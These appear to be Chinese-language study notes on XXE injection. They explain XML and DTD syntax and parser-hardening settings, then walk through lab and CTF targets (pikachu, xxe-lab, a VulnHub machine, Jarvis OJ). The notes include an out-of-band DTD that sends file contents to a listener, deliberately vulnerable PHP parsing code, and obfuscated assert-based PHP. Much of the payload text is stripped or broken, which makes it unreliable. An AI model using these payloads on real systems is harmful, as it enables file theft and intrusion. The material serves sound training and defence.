XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、
DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据
从 HTML 分离,是独立于软件和硬件的信息传输工具。
XXE 漏洞全称
XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发
生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载
恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站
等危害。
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。
<!DOCTYPE note [
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]]]>
<note>
<to>Daveto>
<from>Tomfrom>
<head>Reminderhead>
<body>You are a good manbody>
note>
文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明
DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
DOCTYPE 根元素 SYSTEM ”文件名”>
(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤关键词:
]>
&xxe;
在D盘创建test.txt
pikachu靶场xxe
实际应用中基本碰不到
前提条件
]>
&rabbit;
网站根目录下 test.txt
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令 实际应用中很难碰到
]>
&xxe;
%file;
]>
&send;
evil2.dtd:
DOCTYPE test [
%dtd;
%send;
]>
% send SYSTEM 'http://127.0.0.1:80/?data=%file;'>"
>
%payload;
开启apache日志功能-access.log
5oiR54ix5ZCD55OcIQ== base64解密 ———》 我爱吃瓜!
协议-读文件(绕过)
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
]>
&f;
开启回显(恢复把刚才注释的语句)
把上面的语句提交
靶场下载地址:https://github.com/c0ny1/xxe-lab
1.提交的数据包含 XML 格式如:
admin
2.请求头中如:
]>
&test; Mikasa
扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解
密->php 运行->flag
]>
&sp; hj
(不知道账号密码 )
攻击机IP
发现可疑地址
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$password = $info->password;
echo "Sorry, this $name not available!";
?>
发现账号密码
admin
Enter Username and Password
";
$flag = "Here is the Flag";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
Click here to clean Session.
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609')
MD5查询
尝试登录/xxe/admin.php
发现flag,但是页面不能访问到
DOCTYPE r [
<!ELEMENT r ANY >
]>
<root><name>&sp;name><password>hjpassword>root>
PD9waHAKJGZsYWcgPSAiPCEtLSB0aGUgZmxhZyBpbiAoSlFaRk1NQ1pQRTRIS1dUTlBCVUZVNkpWTzVRVVFRSjUpIC0tPiI7CmVjaG8gJGZsYWc7Cj8+Cg==
base64解码
$flag = "";
echo $flag;
?>
JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
base32————————》
L2V0Yy8uZmxhZy5waHA=
base64————————》
/etc/.flag.php
然后在使用payload语句
读取/etc/.flag.php
DOCTYPE r [
<!ELEMENT r ANY >
]>
<root><name>&sp;name><password>hjpassword>root>
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Ã=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Ã[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Ã.$Â.$Ã.$___.$Ã.$À.$Ã.$___.$Ã.$À.$È.$___.$Ã.$À.$Ã.$___.$Ã.$Â.$Ã.$___.$Ã.$Â.$À.$___.$Ã.$É.$Ã.$___.$Ã.$É.$À.$___.$Ã.$É.$À.$___.$Ã.$Ä.$Æ.$___.$Ã.$Ã.$É.$___.$Ã.$Æ.$Ã.$___.$Ã.$È.$Ã.$___.$Ã.$Ã.$É.$___.$Ã.$È.$Ã.$___.$Ã.$Æ.$É.$___.$Ã.$Ã.$É.$___.$Ã.$Ä.$Æ.$___.$Ã.$Ä.$Ã.$___.$Ã.$È.$Ã.$___.$Ã.$É.$Ã.$___.$Ã.$É.$Æ.'"');$__($_);
php在线运行
PHP Notice: Undefined variable: _ in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Undefined variable: __ in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Use of undefined constant _ - assumed '_' in /usercode/file.php on line 2
PHP Notice: Undefined variable: Ã in /usercode/file.php on line 2
PHP Parse error: syntax error, unexpected '{' in /usercode/file.php(2) : assert code on line 1
PHP Catchable fatal error: assert(): Failure evaluating code:
SAFCSP{xxe_is_so_easy} in /usercode/file.php on line 2
SAFCSP{xxe_is_so_easy}
http://web.jarvisoj.com:9882/
更改请求数据格式:application/json ----> application/xml
]>
&f;
https://www.cnblogs.com/bmjoker/p/9614990.html
xxe_payload_fuzz
http://web.jarvisoj.com:9882/
https://github.com/c0ny1/xxe-lab
https://github.com/enjoiz/XXEinjector
https://download.vulnhub.com/xxe/XXE.zip
https://www.cnblogs.com/bmjoker/p/9614990.html